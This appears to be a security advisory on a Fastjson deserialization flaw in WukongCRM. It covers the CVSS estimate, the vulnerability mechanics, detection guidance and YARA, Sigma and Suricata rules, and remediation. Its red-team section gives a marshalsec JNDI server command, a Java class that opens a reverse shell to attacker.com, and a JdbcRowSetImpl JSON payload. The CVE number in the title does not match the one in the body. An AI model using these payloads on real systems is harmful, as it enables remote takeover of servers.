CVE-2024-23052

Executive Summary

CVE-2024-23051 identifies a critical deserialization vulnerability in WuKongOpenSource WukongCRM version 72crm_9.0.1_20191202. The flaw resides in the parseObject() function of the Fastjson component, a popular JSON library for Java. An unauthenticated, remote attacker can exploit this vulnerability to achieve arbitrary code execution on the target server. This poses a severe risk to the confidentiality, integrity, and availability of the CRM system and its underlying infrastructure. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but involves the Fastjson library, a third-party Java component. The risk is amplified by the fact that Fastjson is a widely used dependency in many Java applications. Organizations using WukongCRM must treat this as a critical supply chain risk, as the vulnerable component is embedded within the application.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the nature of the vulnerability (remote, unauthenticated, arbitrary code execution), the estimated CVSS v3.1 score is 9.8 (Critical).

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, making it a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability is a classic Java deserialization attack targeting the Fastjson library. Fastjson's parseObject() method, when used with the AutoType feature enabled, can deserialize arbitrary Java objects from JSON input. An attacker can craft a malicious JSON payload that, when parsed, triggers the instantiation of a dangerous class (e.g., JNDI injection via com.sun.rowset.JdbcRowSetImpl). This can lead to remote code execution by forcing the server to load and execute attacker-controlled code from a remote server.

The specific vulnerable code path is within the parseObject() function of Fastjson. The function does not properly validate or restrict the types of objects being deserialized, allowing an attacker to specify arbitrary class names in the @type field of the JSON payload.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the general fix for Fastjson deserialization vulnerabilities involves:

• Vulnerable Code (Conceptual):

  // Fastjson with AutoType enabled
  JSON.parseObject(userInput, Feature.SupportAutoType);
  

• Patched Code (Conceptual):

  // Disable AutoType or use a safe parser
  JSON.parseObject(userInput, Feature.DisableAutoType);
  // Or use a whitelist-based approach
  ParserConfig.getGlobalInstance().addAccept("com.safe.package.");
  

The core difference is the disabling of automatic type resolution or the implementation of a strict whitelist for allowed classes.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running WukongCRM v72crm_9.0.1_20191202.
• A controlled HTTP server to serve the malicious class file (e.g., using python3 -m http.server 8000).
• A tool like marshalsec or a custom script to generate the JNDI payload.

Exploitation Steps:

1. Set up a malicious LDAP/RMI server: Use a tool like marshalsec to start a JNDI reference server.

   java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
   

2. Create the malicious class: Create a Java class Exploit.java that executes a command (e.g., reverse shell).

   public class Exploit {
       static {
           try {
               Runtime.getRuntime().exec("bash -c 'exec bash -i &>/dev/tcp/attacker.com/4444 <&1'");
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }
   

   Compile it: javac Exploit.java

3. Craft the JSON payload: Send a POST request to the vulnerable endpoint with the following JSON payload in the body.

   {
       "@type": "com.sun.rowset.JdbcRowSetImpl",
       "dataSourceName": "ldap://attacker.com:1389/Exploit",
       "autoCommit": true
   }
   

4. Trigger the exploit: The server will parse the JSON, connect to the attacker's LDAP server, load the Exploit class, and execute the command.

Blue Team (Detection & Response)

Detection:

• Monitor for outbound connections to unknown LDAP/RMI servers (port 1389, 1099).
• Monitor for unusual Java processes spawning child processes (e.g., bash, cmd.exe).
• Analyze web server logs for JSON payloads containing @type fields with suspicious class names like JdbcRowSetImpl, JNDI, or Runtime.

Response:

• Immediately isolate the affected server from the network.
• Block outbound traffic to unknown IPs on ports 1389, 1099, and 389.
• Review and rotate all credentials stored in the CRM.
• Conduct a forensic analysis to determine the scope of the compromise.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to IPs on ports 1389 (LDAP), 1099 (RMI), or 389 (LDAP).
  • HTTP requests containing @type in the JSON body.
  • DNS queries for suspicious hostnames used for JNDI lookups.
• File IOCs:
  • Unexpected .class files in temporary directories.
  • Modified or new JAR files in the application's classpath.
• Process IOCs:
  • Java process spawning cmd.exe, bash, powershell, or wget.
  • Unusual child processes of the Java application server.

Detection Engineering

YARA Rule

rule CVE_2024_23051_Fastjson_Deserialization {
    meta:
        description = "Detects malicious JSON payloads targeting CVE-2024-23051"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-23051"
    strings:
        $json_type = "@type"
        $jndi_class = "JdbcRowSetImpl" nocase
        $ldap_ref = "ldap://" nocase
        $rmi_ref = "rmi://" nocase
    condition:
        all of ($json_type, $jndi_class) or
        all of ($json_type, $ldap_ref) or
        all of ($json_type, $rmi_ref)
}

Sigma Rule

title: Fastjson Deserialization Attempt (CVE-2024-23051)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with JSON payloads containing suspicious @type fields.
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '@type'
        cs-uri-query|contains|any:
            - 'JdbcRowSetImpl'
            - 'ldap://'
            - 'rmi://'
    condition: selection
falsepositives:
    - Legitimate use of Fastjson with AutoType in internal applications.
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-23051 Fastjson Deserialization Attempt"; flow:to_server,established; content:"POST"; http_method; content:"@type"; http_client_body; content:"JdbcRowSetImpl"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: Disconnect the affected WukongCRM instance from the network immediately.
2. Disable AutoType: If possible, modify the application configuration to disable Fastjson's AutoType feature. This is the most effective mitigation.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing @type in the JSON body, especially those with suspicious class names.
4. Network Segmentation: Ensure the CRM server is in a segmented network with strict egress filtering.

Long-Term Remediation:

1. Vendor Patch: Monitor the WuKongOpenSource repository for an official patch. If none is forthcoming, consider migrating to a different CRM solution.
2. Upgrade Fastjson: If the application allows, upgrade the Fastjson library to a version that has AutoType disabled by default (e.g., 1.2.68+).
3. Code Review: Conduct a thorough code review of the application to identify and remediate any other insecure deserialization points.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert